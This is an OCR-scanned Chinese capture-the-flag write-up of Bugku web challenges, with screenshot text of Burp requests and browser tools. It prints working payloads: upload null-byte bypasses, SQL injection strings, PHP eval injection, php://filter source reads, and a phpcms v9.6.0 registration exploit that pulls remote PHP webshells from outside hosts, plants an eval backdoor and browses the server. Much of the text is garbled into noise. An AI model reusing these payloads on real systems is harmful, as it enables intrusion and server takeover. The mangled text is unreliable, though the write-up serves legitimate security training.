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<html xmlns="http://www.w3.org/1999/xhtml">
» <head>..</head>

++ ¥ <body id-"body” onload-"init() == §8
<l--flag KEY{Web-2-bugkssnnikls91lee}-->
<script type="text/javascript” src="]s/ThreeCanvas.js"></script>

</body>
</html>
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i Burp Suite Professional v1.5.18 - licensed to Larrylau -
Burp Intruder Repeater Window Help

Target | Froxy | Spider | Scanner [ intruder RepeaterTSequencer Decoder | Comparer | Extender | Options | Aletts

[1:]2 < o] - |
Go || Cancel | [ <Iv || >Ir Target: hipi/H;

Request Response
Raw | Params | Headers | Hex Raw  Hex
POST / HTTP/L.1 [x

T

Host: 103.238.227.13:10085
User-Agent: Kozilla/S.0 (Windows NT 10.0; WOWG4; rv:S2.0) Gecko/Z 0100101 Firefox/s2.0
Accept: texe/html,application/xhtml+uml, application/xml;q=0.9,%/*;q
Accept-Language: zh-CN, zh; q=0.8,en-U5:q=0.5, en;q=0.3
Accept-Encoding: gezip, deflate

Referer: htep://103.238.227.13:10085/

Conmection: ksep-alive

Upgrade-Insecure-Requests: 1

Content-Typs: multipare/ ; boundary= 19515262712943
Content-Length: 35355

- -199152627129434
Content-Disposition: form-data; name='file”; filenam
Content-Type: image/png
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Content-Disposition: form-data; name="file"; filename="3.png%001.php"
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[4 CSDN-markdownff@is: x [ CTF-53F& x /[ W EERIES x | [@ CTF-53%& BEEE x ﬂ - X
& ‘G) c.bugku.com/yanzhengma/ | @
84+77=2 < bugkucom 7%
1ag{CTF-bugku-0032}
= ﬂ Elements Console Sources Network Timeline Profiles  Application  Security  Audits  EditThisCookie X
Styles | Computed Event Listeners >
<html xmlns="http://www.w3.0rg/1999/xhtml">
» <head>..</head> Filter thov .cls +
¥ <body> ) element.style { =
<span id="code" class="code" style="background: rgb(1e9, 73, 33); color: rgb(169, 242, 124);">84+77=2</span> }
<input type="text" class="input" maxlength="123"> == go - -
<button id="check">%}ilf</button> -input { index):20
P <div style="text-align:center;">.</div> width: 1eepx;
<script src="js/jquery-1.12.3.min.js"></script> }
<script type="text/javascript” src="js/code.js"></script> input:not([typel), user agent stylesheet
</body> input[type="email” i], input[type="number"
</html> -

[N -l input.input

i], input[type="password” i],
input[type="tel” i], input[type="url” i],
input[type="text" i] {

padding:» 1px @px;

input { user agent stylesheet
-webkit-appearance: textfield;
background-color: [Jwhite;
-webkit-rtl-ordering: logical;
user-select: text;
cursor: auto;

paddingd Ipxs B
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HERRER, BAFEHR—T.
Fpythons ™ i 52 f B A4 B a7

s='&#75;8#69;8#89;&#123;&8#74;&#50;8#115;&#97 ;&#52;&#50;&H#HI7 ;&#104; &H#T74;&H#T5;&H#HA5; &#T72;&#83;&#49;8#49; &#7 3;&#73;¢

D OB~ W N =

sqiEA




HMRSQUENM, S—KABFREFHEN, SEE—MAKMEYE ! FHHE
HARMNBES T RECRIAREA S, SIEHET & Fiunion selecttt & MBS FFRAH AT . RIEHAIEASERITFHIEN !

SEI http://103.238.227.13:10083/index.php?id=%df%27 or 1%23

SQL X I+

— X
€ ® 103.238.227.13:10083/index.php?id=%df%27%200r%201%23

¢ QEx B ¥$ & OB al- =
8 sxpn @ mixe @ a5z [z @ s @esss @ s @it [ suss [[uss @ ers @ extr [6 moEiphone @ #F i

INT v = & SQL- XSS- Encryption- Encoding- Other-
@ Load URL

% splitURL

+
Execute

['] Enable Post data [ ] Enable Referrer \
SQLIEN

EfkeyFs,id=1fstring =&

1

http://103.238.227.13:10083/index.php?id=%d{%27 or 1%23

key

fdsafdasfdsa

A T MR T FWIEN, RERMNUER UE RS H I RidRkey, Bt E@HRRRERANT, NS URIE—T

& Load URL
U Split URL

» Execute \

[ ] Enable Post data [ ] Enable Referrer
SQLIFEN M

Enflkey#, id=1MstringE&

http://103.238.227.13:10083/index.php?id=%d{%27 union selekt 1%23

The used SELECT statements have a different number of columns

mHXBWS TR, BANEARRkeyR, ATHAT LA & B KRR IIE hitp://103.238.227.13:10083/index.php?id=%df%27 union

select 1, table_name from information_schema.tables%23

RERMNEBRMIEPSBE — /DA, keyliRTFBAENERRULENR, RMNEAREEME, payloadll T



http://103.238.227.13:10083/index.php?id=%df%27 union select 1,string from "key" where id =1%23

SR J5 BRI DR B — A hashfl, 45 RKEY{54f3320dc261f313ba712eb3f13a1f6d}

SQLEA1
REGL T BARA . — TP Bskw T LA RETE, ERRFREERT . MAZIBEA—: KRE—-EERLSR.

MRFHERGYE, EREAGSE? RATWEZA B

/ /xssidiE
$id = strip_tags($id);

RARBON T Bilbxssi RIUKIREERE T, MARMNTTUAMA R MGG T sqlfd . i

INT v = & SQL- XSS- Encryption- Encoding- Other-
@ Load URL | http://103.238.227.13:10087/index.php?id=1 o< >rder by 2#

 Split URL
3 Execute \

[ ] Enable Post data [ ] Enable Referrer

/ /idiE8sql
$array = array('table','union','and’,'or','load_file", 'create’', 'dele
foreach ($array as $value)

', 'select’, 'update’, 'sleep’, 'a:

{
if (substr_count($id, $value) > @)
{
exit("EEEUECIEF | ' .$value);
3
}
//xssidiig

$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

<
MEESE
id 1
title title

ALLEERHER AR, BURRINRE R RunionE#H GER) HSEHEEMMKRT (RAFET..O



payload:http://103.238.227.13:10087/index.php?id=-1 un<br>ion se<br>lect hash,1 fro<br>m “key#

A

W T A EW, SHREFEKEE. EREFEKYERSHFHubuntufi e, ERFXA RIS HAR, TaEhiTbashiE 4,

B2 Fphp B R EUREF T . EREAeval( “var_dump($a);”); XA)iE. payloadfi F

http://post2.bugku.com/hello?hello=);print_r(file("./flag.php")); //

1

INIT v = @ 5QL- XS55- Encryption- Encoding- Other-

T IR RV IR h ttp://post2.bugku.com/hello?hello=);print r(file("./flag.php™); /
% Split URL

» Execute

["] Enable Post data [ | Enable Referrer

Array ( [0] => $flag = 'Too Young Too Simple’; [2] => # echo $flag; [3] => # flag{ccd234c9-c022-4ce”

include “flag.php”;
Sa = @$_REQUEST[ hello’ ]:

show_source( FILE ):
e

5 R R A 7T AR XL
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}

1
AUiE, RRAEK

. [4] => 7> ) <ephp

INI ¥| = @ S5QL- X85+ Encryption- Encoding- Other-

@ Load URL | http://post.bugku.com/web1/index1.php?args=GLOBALS
" split URL

*) Execute

[] Enable Post data [ ] Enable Referrer

include ”flagi. phf)”;
highlight file(_ file );
if (isset($§_GET[ args’1)) {
Sargs = §$ GET[ args |;
if (!preg_match(”/ \w+$/”, $args)) {
die(“args error!”);
}
eval (“var_dump ($Sargs) :”) ;
}
>

array(7) { ["GLOBALS"]=> array(7) { ['GLOBALS"]=> *RECURSION* ["*_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } [*_COOKIE"]=>
array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) {}

["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38)

iflag{9285305 ™ e s [ ["args"]=> string(7) "GLOBALS" }
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HTTP/1.1 200 OE

Connection: close

Date: Tus, 1l Apr Z0Ll7 13:24:29 GHT
Serwver: Microsoft-IIS/E.0
¥-Powered-Ey: ASP.MNET

¥-Powered-By: PHPF/5.2.9-2
Content-Type: text/html;charset=utf--

O<html>

<title>BKCTF-WEB4</title>

<hody>

<div style="displayv:none; "s</divs

<form action="index.php" method="posc" >

000000 <l =

<br>

<scripts

var pl =

'E66XTIR6e%63%TA269%6FE 6% 20%63%68L65%63%6b%53LTHR62%6d%69%T4%28%29%Th%T6%61%T72%20%61%3d%64%6FE%63%T75%6d%65%6e%T4%2
L6 TEES%TA%45%6C265%6d%65%6e2TA%42%T79%49%64%28%22%T0%61LE7IH TR TTH6ELT2564%22%29%3b%69%66%28%22275%6e%641%65%66%69%6
er65%64%225%21%3d3 745792 T70%65%6E%66%20%61%29% Tha69%66%28%22%36%37264%37%30%39%62%32%62" ;

var p2 =
'E61%61%36%34%3BR6IX66LI6X65EIBEITE61E3T7EIL1%3ILE34266%31%22%3d%3d%61%2e%THR61%6CcHTIREIL29%T2R65%T4%TH%T2%6e221%30%3
b%61%6CH65%T2574%28%22%45%T72%T2%6E%T72%22%29%3h%61%2e%66%6E%63%T75%73%28%29%3b%T2%65%74%T75%72%6e221%31%7d%7d%64%6E%6
3% 75%6d%65%6e1 7422256 T%65%T74%445%60%65%6d%65%6e%T74242%T79%40%64%28%22%6CH658T6%65%6CE51475%65%73274%22%29%2e26E%6e%7
3% 75%62%6d%69%7423d563%68%65%63%6b%63%T75%62%6d%69%74%3h!' ;

eval{unescape(pl) + unescape('%35%34%61%61%32' + p2));

</script>

<input type="input" nams="flag" id="flag" />

<input type="submit" name="submit"™ wvalus="Submit"™ />
</ form:

0ooooooo

RIEBANTEI—BjsHA R ELjsiafTasii— T
FELLJSIEIATT]

var p1 = "%66%75%6€%63%74%69%6{%6e %20 %63 %68 %65 %63 %60 %53 %75 %62 %6 d %69 %74 %28 %29%7b %76 %61 %7 2%20%

A W N -

i JE 15 BUARRS

function checkSubmit(){var a=document.getElementByld("password");if("undefined"! =typeof a){if("67d709b2b54aa2aa648cf6e87a7
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i’ Burp Suite Professional v1.5.18 - licensed to LarryLau
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | Inruder | Repsater | Sequencer | Decoder | Comparer | Extender | Options | Alerts

[1 =]z <Jael -]

Go Cancel <Ir >r

Request

Raw [ Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

POST /VEbflandEX php HTTP/1.1 3 IO+ O+ O DO DI I O I+ DI L0 D) G+ D1+ CH 1D+ 0 D1+ 0D D+ D1+ 1D+ O+ 01D CHEI D+ [+ 00) [+ 0 ‘A
Host: ¢.bugku.com r A ITHC O HHO1D) HHDHF OO IO 140D OO 40D D+ O+ T O+ DD O 1+ 0+ 00) [+
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/20Ll00101 Firefox/52.0 SHOIIHCOICOII+ 0D CHIII+CET OO O1 0D CHODT+C D EI T+ D001 D) G+ DI+ D11 140 DI+ ED) D+ DI+ D11+ 0 O+ ED) 0T+ I+ D
Accept: text/html,application/xhtml+xml, application/wml;eq=0.9,%/*;q=0.8 IO O OO I+ ED) D+ DT+ 0+ D1+ 0D 011D [+ I+ 011+ [+ DD [+ 0111 [+ 0+ 1+ 1
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 1140 D O D11+ CD T+ 01001 0) O+ DI+ DT 140 LD CODT+ED) T+ D10+ (P O1+ 0 D13+ DI+ 0D DCCD D [+ 01D
Accept-Encoding: gzip, deflate GO OO I0D HHO+HF DI+ DO+ DO I+ O D) D+ D1+ 0+ D0+ O+ [+ 01T+
Referer: http://c.bugku.com/web4/ index.php DA+ AT+ I+ OO D ED) OO D (134 0D C00 D) !+ D1+ DT T3+ (P L1+ 00 D D+ DT T+ P L+ O DT T+ P D+ 0D)
Connection: keep-alive DO+ OO IH O O [HHD1D) CH O IO DO+ 0 D1+ 40D D D D DT THC O D [H T+ O+
Upgrade-Insecure-Recuests: 1 [D D11+ D FOTH (O D I+ DD FO1+( DI+ L0 D) [+ D1+ T+ 110+ C D1+ 0D D+ O+ D10+ PO+ 00) [+010+( 00 [
Content-Typs: application/x-www-form-urlencoded HID DO+ OITHC A0 D101 D+ O O+ 0 O+ OO O+ DO 40D 0140 O+ 01T [+
Content-Length: 20 FO+ 11+ O+ D+O+ 01+ PO+ DD FO1+ N O+ DD) D+ O+ O+ 01+ D+ [+ 01D [+ O+ 011+ A+
HHO1D) O O+ T CH D D DT+ D O DA O D) A DA DT DDy DO O D CHOI T+ O+ O L [+
flag=lesubmit=Submit T+ (4D COOT DO D1+ 01D [+ O+ (L CXT+ 0T CEID) [+ 0+ D1+ L+ D101+ C P O1+ 01D OO+ OO0+ 1+ D10+ (PP OD+ 00D L+ OD0+ (PP L1+ 00) DM+ [0+ 1+
O+ O1HC O HH O DO+ O OO OO DO 40D O 1A 0 O+ C0 1) D+ 11+ D140 [ D1+
CI1+ (N I+ 0D [+EI1+ (VN [D+ 01D [+ D1+ 0T+ 01T+ [T+ DD [+ 0+ (111D [+ 0+ [1+ [+ 111+ C [T D010+ 01) [+ !+ 011+( ' [1+01) [+ [1+1+[]1
AT OIHID HOTHC DD HH DO 0D HOHCO O O IR0 D0 C0D O+ 1+ O+ D+
T+ 011+ O+01) FO11+ PO+ 00) D+ D1+ + 01+ D1+ OI+ 0D [+ '+ 0111+ 0D D+ O+ + [+ 1+ 01+ [+ 1) [+ LRASEIoN (RN
I+ HOIHC I+ 001 [+ O+ D114 O+ DO D140 D01 O340 D+ DO+ DI+ 1+ [1+01) [++1
11D [+ D1+ D111+ VT [+ 0111 T+ D1+ D111+ 0 P EI+0D) T+ D11+ 0V EI+ 0D T+ D11+ (D I+ 0T D011 [+ 0+ D1+ [+ 100+ 00 T
O+ FH DI DD OIHCOHID DO OO0 O30 D100 D O+ D11 040D DO+ 0+ 0D T+
J+CUVLIH D) D+ D1+ D1+ DT+ (VL1 00) D+ ET1 0+ 00D D+ C1+ 1+ [+ 1+ DT T+ LI+ DT DO DI+ 0D T+ 011+ C D T+ 01 001 D) [+ + D1+ + 00
HHOHHOTHCN O HOIHC O A OIHCO IO OO O O+ DD 1400 D1+ 01 [+ O+ 011+ 140
JOHII+ 1+ PO+ [+ 1+ YOI+ 01 D+ DD+ + L1+ 01 1+ DD+ DD [+ D110+ 00 ) D'+ D1+ 1+ 01+ + 010+ O+ [+ 01D+ D+
TOCPOIHIIY CHOITHCC O I+ 0D C00 D) [+ D1+ L LI D T+ 0 CIH O O+ DD+ D10+ O P CDH OD) CH L0+ OO0 00D D+ DD+ L1+ DT T+ [T+
H!'4+01D) [+ O+ +0111+ O+ 0D [+ 0110) D+ 0+ O+ 0111 O+ O+ O+ 01D [+ 01+ DO+ D [+ 01+ D+ 01 [+
1N+ O O HCHDHHOHHE DY LN O+ O OO0 DO+ DD O 140 T 4 O+ 11+ O+ 0D [
FO++01+C O+ MDD FO1+C O+ D+ O+ O+ 01+ O+ D) [+ 011D [+ O+ 0111+ 0+ O+C D+ 1) DO 00 1+ 001) [+1011
A OIFOIOD) IO+ DI DA DI OO CH O T4 O DA O+ OO O+ DD DT TH D [
[+ 01+ 011+ (PO O DO D40 [HOITHCD DI+ DI L0 DD [+ 0+ D1+ T+ D100+ C D1+ 0D D+ O+ D10+ O+ 0D [+ DI D+ P[0+ 00) [0+ 10
HHOHHITHCN DD D1 OO0 L0 140D G I THC D40 DDA O+ OO D+ DD O 1+ O+ 0D [+
J+(UUOIH0D) CHH 0111400 D+ D1+ 4+ D1+ D11+ (VDI DD CH I+ (P OO+ OO DO DD+ 00D [+ ETT+C L [13+ 0D L00 D) [+ '+ [+ [+ 0111+ (P [1+ 1)
CHLIHAHOITHC I HOITHC T D+ DT+ DI D110 O+ [ DT0D) [ DT+ DT+ D1+ 00 [+ 110) [+ + 11+ 1+
11+ 0D 011+ II+ED) [+ 011+ (D 1T+ 01001 0) G+ 1+ DI+ 4 111+ L CODT+ED) [+ + D10+ (+ 1 C1+ 0 L1 3+ C DI+ 0D LOCT LY (1401
OO+ D) CH AT T C T DY D LT DT T LT DY [HET T LT+ DD D+ DT+ DT LD T+ OTH DD [+ 1100+
DO+ I+ 1T+ PO+ OO I+ ED) DI+ 0 D13+ 0D C00 D) [+ '+ D1+ [+ DT 10+ (P LI+ D) D+ D1+ 1+ 01T+ P L+ D) [+ DT T+ P [T+ 1)
DO+ OO IH OO0 CHAD11) CH O 11O DO+ 01 1+ D140 D+ O+ D+ 1T+ FIIYV+HIITH 1+
[D D11+ D FOTH (O D I+ DD FO1+( DI+ L0 D) [+ D1+ T+ 110+ C D1+ 0D D+ O+ D10+ PO+ 00) [+010+( 00 [
AL AT+ DI+ AT+ 0D D+ DT+ D+ D10 0 HO1+ 0 O+ DO DI+ 0D [HITI+HC D D11+ 01 0T [+
FO+ 11+ O+ D+O+ 01+ PO+ DD FO1+ N O+ DD) D+ O+ O+ 01+ D+ [+ 01D [+ O+ 011+ A+
HHO1D) OO+ T CH DO O O D AL O+ DD O OO 00D O+ T+ O+ DT DD+ TH Y
[+ I+ DD+ O+ 011+ 400D [+ (110+00) D+ 1+ L1+ LD+ LI+ DD L 1+ 01 [+ D+ L LD+ 0D 000D ) [+ +
O+ OHID DO+ D14 DD O DT D D+ D+ DT+ D400 T+ 1110 T+ D1+ 011+ L1+ 00)
HHIITH D) D+ LT+ DT+ LT+ LT+ PO+ D) [+ D10+ C T D13+ 01 CHO1 I+ (D 0O L1+ 00D [+ 010+ D L1+ 0D 0L D)
'+ C I+ ID DO+ T+ DD O T O DD LA D1 O+ DT PO+ LT [+ D111+ 01 D+ D1+ P+ T+ D1+
PUHID O+ IO DO D+ 011+ O+ LT CETT ) 0+ D0+ CH 100+ C LD+ 00D D+ D1+ LT3+ LD+ 00D [+ 010+ P LD+ 00D [0+ 0D
L HHOHHIITHC I 011 [+ DI 011140 DI D100 D40 T+ D11+ 0 I+ I D D1+ DT+ D1+ LT+ 0D L
e e A e T e e e LR T e e L e R e e e L
2 =) @ B e ormacres | (20 ) (0 3 P
Done 12,716 bytes | 4,372 millis
H# M googlefficonsolet 56 HE LT ... & brianfucki Bl ?
[w ﬂ Elements Conscle Sources Network Timeline Profiles  Application  Security — Audits  EditThisCookie
© ¥ top ¥ Preserve log
A I s A e s e e e O s s e e e s s S A I s A R e
OOIFDD OO D001+ DR LD D e T b+ D 0D DU L D1+ DD Db 0D UL eI C e 1+ T+ 1)
Lot L DO OO IO GO O T DGO TN B0
0L D DL B+ L L+ C LU DL L0+ LI LD LU T+ L L L LT b [T T+ L) [ L1 T L) LD L LT+ 1+ L1+ (UL DL+ LD L L1+ (0 LI D e e L+ L+ L1+ L14LD)
QLD R D LD+ TR D DO+ 0 T DD L DD 0T 1O 01D 01T L L1+ TR D) B0 1+ L) D+ T+ T 10
A S i e I S A R N A N S S e R
O E e D el (DD e Ol D LD Oas e DL O D G 1D 3 0)
LTI D LT+ LA D DT+ (L 1+ LD [ L1 G DT+ LILC I+ LD [T LT+ 000D [ L 11+ QT+ L) L L1+ L T LT+ D) L D11+ LD T DT+ LD+ 1+ L1+ (L [240)
AT LA L+ (A DO+ 0 T+ OA D LD+ O+ 01O LT ) OO OO IO D T D+ D+ DD T+ 01+ QD T 1 Q0D D+ e[ )+
N T I N R e e e I e L e e S e e e e e e e e e e
R N e S A T G G e N N s Rl e e R s I s e I e R N
QU I L0+ A e 1 C L T+ DT O IR T OO L DT+ C O+ ) D D 1 T+ LD L+ LT L1+ + L+ [T D D T D [+ 10+ 011
O QU0 U e 101+ D DR D) B+ 01O D OO0 U T+ D 0+ QD+ D U0+ R0 T+ T+ D)
(b 0+ )T D U0+ 1+ 01O B0 1+ 00T D) 01 OO D 001+ 00 [0+ 010 ) R 0D [+ 011+
LD EID G T C DGO GO EB OO D G OGO D E OGO DO DD
OOOD LT+ 0D I 01+ D TR DT L+ e T D) B DT D+ L D+ T+ TR TC T+ LU+ (0 DI 0D D e D+ 11+ )
e e I i e S R G e T S R e e e A S e S e eI
O e e e s B e e R SR O
L0 D Ll T TT+ O LI L LT LT+ L+ D) L 1 (LT L DL+ 1 L[ LT T L L+ LD L+ LT D) L e [0 1+ O LI+ LD Lol el 1T 1D L LT+ e L e L1111 (Ll b [ e T [+ 1+ L1 1) [ 04 [ 11+
QIO L0+ 0D OO DL DO D R+ QD+ ORI L+ 01+ QU DD 0T+ 000D T+ 0 1L DD L0+ U+ TN [l )+
e S U S U e R e T S S e T T S S e I e e A e e N A R N
UL+
Tetf{ s

flag7t index &

XA E R TR ...
&, ZR— TR flag

HiFrflagfEindex.phpH, HEKH ER,

HEBIEANET, RERANFEBlulox? file=..., REXHE



E” Burp Suite Professional v1.5.18 - licensed to LarryLau

Burp Intruder Repeater Window Help

[ Target l’ Proxy l’ Spider I Scanner l’ Intruder TRepeatef T Sequencer l’ Decoder I Comparer l’ Extender l’ Options I Alerts ]

Done

1= (2= 3= |4=|6x=]..
w Cancel <|* >|* Target: http:i/b.post.bugku.com uJ uJ
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render]
GET Y HTTE/ 1.1l 200 OK &
.fpust,.findex.1Jl")?file=php:/'/filt,er/cunvert,.baseE4—Encude.fresuurce=index.php I r Server: nginx -
HTTP/L.1 Date: Mon, 15 May 2017 02:58:03 GHMT
Host: b.post.bugku.com Content-Type: text/html
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4: rv:53.0) Gecko/Z0100101 Connection: keep-alive
Firefox/53.0 Feep-Llive: timecut=&0
Accept: text/html,application/xhtml4xml, application/xml;gq=0.9,*/*;q=0.8 Content-Length: S5&1
Accept-Language: zh-CHN, zh;q=0.8,en-US;g=0.5,en;qg=0.3
Accept-Encoding: gzip, deflate <html>
Connection: keep-alive <cicle>Bugkun-ctf</titles>
Upgrade-Insecure-Requests: 1
P DQogICAgP 1PkI1Z2t 1LWHOZ jwvdGl0bGU+DQogI CAgDQ o8P 3B o cADKCHVycmIyX
3T1c69ydGluZygwKTsHCglp Zi ghdF SHRVRL Zml sZV0p e 2V aG8ygd zxhIGhyZWY 911 dvaW SkZXquct
hwP 2ZpbGU%c2hvdy5waHAiPmiTsaWlrIG11PyBubzwv¥TAn030NCgkkZml sZT 0OkX0dFVF snZml sZ5d
A0WOKCH1ImEHN0cnl0cigkZmlsZSwilidvIil18fHH0cmlzdHIoTGZphGUsSICI0cCIpfHxzdHTpc3Ry
ZmochZ zpmb GFne 2VkdWc) bml £ZWxpZ19 sYWHvbF 9z aV 9z aWh0£ Q0OKP z4NCjwy aHRthD 4HCg==</htm
1=
b =
v v
? < + = ‘ 0 matches % < + > Type a search term 0 matches

726 bytes | 118 millis

EY Burp Suite Professional v1.5.18 - licensed to Larrylau

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider I Scanner T Intruder T Repeater T Sequencer TE)ecodef T Comparer T Extender T Options I Alerts ]

Rhlikpew0KCQIIY2hviCJPaCBubyEiQwiKCQlleGIOKCKTDQoFQOKCWIuY2x1ZGUoJ GZpbGUpOyANCiGvZmxhZzpmbGFne2VkdWaxjbmifZWhpZI 95 YWNvbF 9zaVazaWhOfQOKPz4 NCjwvaHRtbD4NCg==

@ Text (U Hex

Decode as ... v
Encode as ... v
Hash _.. -

¥

9 Il l Smart decode J

o
</html=

o

el ToTTey
echa "Oh no!™;
exit();

P (e ] oSy 7

include($file);
JMag-flagfeduleni_elif_lacol_si_siht}

4| @ Text () Hex

Decode as .. v
Encode as .. v
Hash _.. v

[{ l Smart decode J

phpcmsV9

XA WK phplRiABER 2 —, fERemsz —, T HA R %ZMEL T RIEGR T phpemsOHIRIH, EHFEFIIL—TF.
SRR lagiI L B, BT 4mEBIER M EE (RHERIES mysqiEATRRD .




BB ML

http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1

RS RMEERH, RJ5HiEpayload

siteid=1&modelid=11&username=1234568&password=123456&email=123456 @qq.com&info[content]=<img src=http://file.codecat.on

BATAT LA Blwww.bugku.com/tools/phpyijuhua txtt 2 AT/ N S bt T, BE&EERAN—AEARD T . R)5E LE UG 2R Emysql
R EERRE, X BEBEE GREFX AN LA I ALE 2 R E A D

€ & phpcms.test.bugku.com/index.php?m=member&c=index8a=register&siteid=1 ¢ Qex wBa ¥ # (s} WE

(8 e @ i [d ae [ ez [ o [ eess @ s @ @ s [Muss [ gewy [ assts [ m@Siphone @ $iF His
INT v = & SQL- XSS- Encryption- Encoding- Other-

@ Load URL | http://phpcms.test.bugku.com/index.php?m=member&c=index8a=register&siteid=1
% split URL

* Execute

Enable Post data [ | Enable Referrer

Post data siteid="1&modelid=118wusername=jdmkdd&password=jdmkdd&email=1234jmmkdd56@qqg.com&info[content] = <img src=http://file.codecat.one/normalOneWord.txt#.jpg > &dosubmit=1&
protocol=

MySQL Query : INSERT INTO “phpcms’.'v_member_detail'(‘content’, userid") VALUES ('<img src:
MySQL Error : Unknown column ‘content’ in ‘field list

MySQL Errno : 1054

Message :

Need Help?

gku.com/uploadfile/2017/0516/20170516082537 386. tx i #y]

® phpems.test.bugku.com/uploadfile/2017/0516/20170516082537386.txt ¢  Q#x

ER-trnol C el C k=i=4l C b= C BReisindl C PeE=a=l C f=tll C Pz 28 C ESet=Al C PEnt S C B Sicill C B eS8 C e
INT v = @& SQL- XS5S- Encryption- Encoding- Other-

@l Load URL
% Split URL

J Execute

Enable Post data [ | Enable Referrer

Post data

<?php @eval ($_POST[ akkuman’ 1) ;2>

WUE B AT, REBATE ELEEIEMAL ! php3Xff

XEERED



|ERE Edlwes BE boES KIS EERE FUR FREHHTES ESea=t Eme b= e IR Efmiphone @ #E ik
INT ¥ = @ SQL- XSS- Encryption- Encoding- Other-

@ Load URL | http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1
¥ split URL
b Execute
Enable Post data [ | Enable Referrer
Post data siteid=1&modelid=118&wusername=jdm22kdd8&password =jdmk2dd&email=1234jmm12kdd56@qq.comainfolcontent]= <img src=http://files.hackersb.cn/webshell/antSword-shells
/php_assert.php#.jpg>8&dosubmit=1&protocol=

MySQL Query : INSERT INTO "phpcms’.’v9_member_detail’('content’, userid") VALUES ('<img src=http://phpcms.test. bugku.com/uploadfile/2017/0516/20170516093438761.php>''174")
MySQL Error : Unknown column ‘content' in 'field list'

MySQL Errno : 1054
Message :

Need Help?

ER! XEF-RKEXMNRKS HHIRETERR, SUXRK
B#E FHarry R TR, BTG

# BugkuEIBAPHPcms vOFIFFTE

- X
l:" HHEBF: |phpc|ns‘ test. bugku. com |
i TRIRS: © phpons 1.6.0 BN, B, THE .
_.A == Vi T |'ﬂ'ﬂ'ﬂ. bugku. com/tools/phpyijubua. txt | IEI
E it =N
i OE=] shell s
p - http://phpems. test. bugku com/fuploadfile2017/0616,/201705160120. .. RRTh

RJE EfE—RER LIRBgban T, EARSSFEARNPF ! BRR, F—2HEIRTIER! | R T!




-0 X

C hpoms. test. bughu. . . hpems. test. bugku +
m IZiphe php g
= Aweb/ v | EE EH— 2017-05-16 MAH—
120.24.86. 145 B3 (10), 32 (13) &= Bl b Bt BCAEE =
= | ~ AZES)
B/ . 3 html 2017-05-10 18:15:21 4096 0788 ﬁﬁ:‘gj
=] we ~
B ) wploadfile u_j readme 2017-05-10 18:09:47 4096 0785 adsfdf
2 3 2017 =) phosse_server 2017-05-10 18:09:47 4096 0758 . Eéffgg“a
= >
I 0516 ) api 2017-05-10 18:09:46 4096 0755 = s
= i
E g:is ) statics 2017-05-10 18:09:47 4096 0785
(= 0514 I3 caches 2017-05-10 0755
= o511 ) install_package 0788
E g::z @ index. hinl 2017-05-15 3900 0777
Bt B flagtda. txt 2017-05-09 20:19:01 26 0644
& install € A htn 2017-05-10 18:09:47 3591 0644
£ I phpems [&f NewFile. txt 2017-05-14 22:31:16 0 0644
t lat
E pI:Zi: e (=] crossdomain. xml 2017-05-10 18:09:46 104 0644
3 languages o api. phe 2017-05-10 18:09:46 991 0644
(0 model i# adnin php 2017-05-10 18:09:46 48 0644
S 1ibs j= html 2017-05-10 18:09:46 523 0644
) modul
mo es
3 htal B rhoons_v9. 6. 0_UTFS. zip 2017-04-18 22:39:43 8727883 0644
I readme o index. php 2017-05-10 18:09:46 318 0644
& phpsso_server @ robots. txt 2017-05-10 18:09:47 170 0644
I api .
& statios i plugin php 2017-05-10 18:09:47 3621 0644
&3l oaches ; [ favicon. ico 2017-05-10 18:09:46 3158 0644 -
GB2312
m Ciphpems. test. bugku phpems. test. bugku. .. + - O x
iﬁ)\ Fweb/flagtda. txt v ‘l%ﬁ FHi” 2017-05-16 UFH—

flag{adnin_a?3-ae2132_kevi]

KT R EARREAA
WMAZEEEflag

* B [C sl
A2
hello
adsfdf
20070413

0] Bie{eRE
HiEH

Line; 1,,G6B2312

HAERTHE, WMASMELHETFREag, —FLMET, WAB0AMER, EWNMLRE, NEELEK, HEAFE

PREEANA, ERBEEIT, AEWT:




#coding:utf-8import requestsurl="http://120.24.86.145:8002/baopo/?yes'value=[]for i in range(0,99999): if(len(str(i))<5): value

Do XD © N O WwN >

N N N N N N @2 @A A a a a
a A WON -2 O © 0N O O N

BREE RIS UTF L ANERAR, 2 BURE, WLRRER



FEHEC\Windows\System32\cmd.exe - python "C\Users\Assassin\Desktop\MYptrhon.py” — O X

r 1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

8%flag: flag{bugku-baopo-hah}

Bl K
407 ) DLRR T AR B

C' | ® 47.93.190.246:49162 W @
DET | MEABSHYENES , FERS , HRT.
EFHR , EARNSETIONNE | 52"
BHETH , EHONFORTERIAION. EAT ? GBI
B, SEHRERRTIO? " ERINERES , S ANELARE. .. - \>
HREEXA. W, ekl oae 39
RRUOBIEAT 7 5 | BERRBEOOARTMTY , EH— B LUL. ...

-
& 4] Performance  Memory  Application EditThisCookie o1 ! X
P ‘ Styles | Computed Event Listeners  »
i =y " dib )9 §
Filte thov .cls +
i AREREHRONT 8 SR R R Eh . “BAT? A RER > {
TN R 10 VLR AL, A M AR ¥
/p p{ user agent stylesheet
v<p display: block;
" GRIXDN .S, Rk -webkit-margin-before: lem;
link” href="code.txt" target="_blank">#ifZ</a bkit-margin-after: lem;
-webkit-margin-start: epx;
" -webkit-margin-end: epx;
/p }
s A7 b TF T, BERERMLAARET S, LB Ly
h i
I '
i border = 1
g SEAA T FS AN |
B g LTI ' e '
I '
